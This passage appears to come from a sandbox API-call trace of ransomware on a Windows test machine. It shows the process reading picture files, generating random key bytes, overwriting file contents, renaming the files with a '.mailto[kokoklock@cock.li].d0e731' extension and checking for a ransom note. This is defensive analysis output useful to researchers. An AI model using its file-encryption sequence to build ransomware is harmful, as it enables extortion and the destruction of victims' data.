returned="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png" [0065.384] wcscat (in: _Dest=0x33ce718, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731" [0065.385] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png" (normalized: "c:\\users\\fd1hvy\\pictures\\bqoj4hgouy4 xwp9dd.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\bqoj4hgouy4 xwp9dd.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.385] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce718) returned 1 [0065.385] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png", dwFileAttributes=0x20) returned 0 [0065.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482098 [0065.385] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.385] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.386] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427000) returned 1 [0065.386] RtlExitUserThread (Status=0x1) Thread: id = 333 os_tid = 0x13ac [0065.387] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\bv1aifgh09z 45-.jpg")) returned 0x20 [0065.387] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg", dwFileAttributes=0x20) returned 1 [0065.387] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\bv1aifgh09z 45-.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.387] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf4bfe80 | out: lpFileSize=0xf4bfe80*=78068) returned 1 [0065.387] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x130f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.387] ReadFile (in: hFile=0x7c8, lpBuffer=0xf4bfe54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf4bfe50, lpOverlapped=0x0 | out: lpBuffer=0xf4bfe54*, lpNumberOfBytesRead=0xf4bfe50*=0x4, lpOverlapped=0x0) returned 1 [0065.387] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be3e8 [0065.388] NtQuerySystemTime (in: CurrentTime=0xf4bfe2c | out: CurrentTime=0xf4bfe2c*=132121176232840576) returned 0x0 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xfef5504d [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xc6241561 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x83277ab0 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xcbda217 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xe84c02d8 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x87aebbe1 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x2839ca6 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xe9ce6275 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xd31f0b29 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xa9b7be8c [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xac132f [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xb4df7ecb [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xab723866 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x54103820 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xb67c56a4 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x58ca121c [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x1ce7984b [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x20d830e7 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xad990b2f [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xf82f4f23 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xa6daf523 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x82fa0de [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x73c6ca2d [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x9a8d1e0c [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x9bc8895 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x2221bf90 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x6e2d4f25 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x1c0b5a17 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x94ecae95 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x9df5a876 [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0xa71d1d2b [0065.388] RtlRandom (in: Seed=0xf4bfe38 | out: Seed=0xf4bfe38) returned 0x8125769a [0065.399] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.399] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf4bfe04, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf4bfe04*=0x4096, lpOverlapped=0x0) returned 1 [0065.399] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0065.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.400] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4d8 [0065.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4d8) returned 1 [0065.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.400] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf4bfe04, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf4bfe04*=0x4096, lpOverlapped=0x0) returned 1 [0065.400] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.400] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x130f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.401] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be4b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf4bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x34be4b0*, lpNumberOfBytesWritten=0xf4bfe3c*=0x20, lpOverlapped=0x0) returned 1 [0065.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.401] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf4bfe50, lpOverlapped=0x0 | out: lpBuffer=0x34be438*, lpNumberOfBytesWritten=0xf4bfe50*=0x8, lpOverlapped=0x0) returned 1 [0065.401] WriteFile (in: hFile=0x7c8, lpBuffer=0xf4bfe68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf4bfe50, lpOverlapped=0x0 | out: lpBuffer=0xf4bfe68*, lpNumberOfBytesWritten=0xf4bfe50*=0x4, lpOverlapped=0x0) returned 1 [0065.401] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf4bfe50, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf4bfe50*=0x4, lpOverlapped=0x0) returned 1 [0065.401] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf4bfe50, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf4bfe50*=0x6c, lpOverlapped=0x0) returned 1 [0065.401] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf4bfe50, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf4bfe50*=0x20, lpOverlapped=0x0) returned 1 [0065.401] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf4bfe50, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf4bfe50*=0x4, lpOverlapped=0x0) returned 1 [0065.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be488) returned 1 [0065.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be438) returned 1 [0065.401] CloseHandle (hObject=0x7c8) returned 1 [0065.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e67c8 [0065.404] wcscpy (in: _Dest=0x33e67c8, _Source="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg") returned="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg" [0065.404] wcscat (in: _Dest=0x33e67c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731" [0065.404] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\bv1aifgh09z 45-.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\bv1aifgh09z 45-.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.405] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e67c8) returned 1 [0065.405] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg", dwFileAttributes=0x20) returned 0 [0065.405] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482098 [0065.405] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.405] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.405] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0065.405] RtlExitUserThread (Status=0x1) Thread: id = 334 os_tid = 0x13b0 [0065.407] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3430f40 [0065.407] wcscpy (in: _Dest=0x3430f40, _Source="C:\\Users\\FD1HVy\\Pictures\\Camera Roll" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Camera Roll") returned="C:\\Users\\FD1HVy\\Pictures\\Camera Roll" [0065.407] wcscat (in: _Dest=0x3430f40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\") returned="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\" [0065.407] wcscat (in: _Dest=0x3430f40, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*") returned="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*" [0065.407] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3427f88 [0065.407] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*", lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434468 [0065.408] wcscmp (_String1=".", _String2=".") returned 0 [0065.408] FindNextFileW (in: hFindFile=0x3434468, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.408] wcscmp (_String1="..", _String2=".") returned 1 [0065.408] wcscmp (_String1="..", _String2="..") returned 0 [0065.408] FindNextFileW (in: hFindFile=0x3434468, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0065.408] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0065.408] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0065.408] FindNextFileW (in: hFindFile=0x3434468, lpFindFileData=0x3427f88 | out: lpFindFileData=0x3427f88*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0065.408] FindClose (in: hFindFile=0x3434468 | out: hFindFile=0x3434468) returned 1 [0065.408] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427f88) returned 1 [0065.408] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430f40) returned 1 [0065.408] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430d30) returned 1 [0065.408] RtlExitUserThread (Status=0x0) Thread: id = 335 os_tid = 0x13b4 [0065.409] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png" (normalized: "c:\\users\\fd1hvy\\pictures\\clrlwdsmzc3os0ezc.png")) returned 0x20 [0065.409] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png", dwFileAttributes=0x20) returned 1 [0065.410] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png" (normalized: "c:\\users\\fd1hvy\\pictures\\clrlwdsmzc3os0ezc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.410] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf5bfe68 | out: lpFileSize=0xf5bfe68*=101547) returned 1 [0065.410] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x18ca7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.410] ReadFile (in: hFile=0x7c8, lpBuffer=0xf5bfe3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf5bfe38, lpOverlapped=0x0 | out: lpBuffer=0xf5bfe3c*, lpNumberOfBytesRead=0xf5bfe38*=0x4, lpOverlapped=0x0) returned 1 [0065.410] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be438 [0065.410] NtQuerySystemTime (in: CurrentTime=0xf5bfe14 | out: CurrentTime=0xf5bfe14*=132121176232996737) returned 0x0 [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x6757eee2 [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xce896020 [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x4fb35fa0 [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xc4205008 [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x9eed2652 [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x7ad5ab50 [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x57a781c4 [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xea70f310 [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xd5961241 [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x346a8dbe [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x164d0975 [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x8090913f [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x9b09603c [0065.410] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xcff4af67 [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x98d033ea [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xb4385edc [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x7ea770b7 [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x80f8ee60 [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xb8343a8 [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x84d82851 [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xa076698b [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x1156c4ae [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xd2a532e8 [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x40737df3 [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x83d21616 [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xfd8f84ad [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x48b68449 [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x328f4dcb [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xc928d0c8 [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0x22894cfb [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xd3166302 [0065.411] RtlRandom (in: Seed=0xf5bfe20 | out: Seed=0xf5bfe20) returned 0xccc2fb40 [0065.607] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.607] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf5bfdec, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf5bfdec*=0x4096, lpOverlapped=0x0) returned 1 [0065.607] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0065.607] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.607] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.608] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0065.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be500) returned 1 [0065.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.608] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf5bfdec, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf5bfdec*=0x4096, lpOverlapped=0x0) returned 1 [0065.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.608] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x18cab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.608] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be4b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf5bfe24, lpOverlapped=0x0 | out: lpBuffer=0x34be4b0*, lpNumberOfBytesWritten=0xf5bfe24*=0x20, lpOverlapped=0x0) returned 1 [0065.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.608] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.608] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be4d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf5bfe38, lpOverlapped=0x0 | out: lpBuffer=0x34be4d8*, lpNumberOfBytesWritten=0xf5bfe38*=0x8, lpOverlapped=0x0) returned 1 [0065.608] WriteFile (in: hFile=0x7c8, lpBuffer=0xf5bfe50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf5bfe38, lpOverlapped=0x0 | out: lpBuffer=0xf5bfe50*, lpNumberOfBytesWritten=0xf5bfe38*=0x4, lpOverlapped=0x0) returned 1 [0065.608] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf5bfe38, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf5bfe38*=0x4, lpOverlapped=0x0) returned 1 [0065.609] 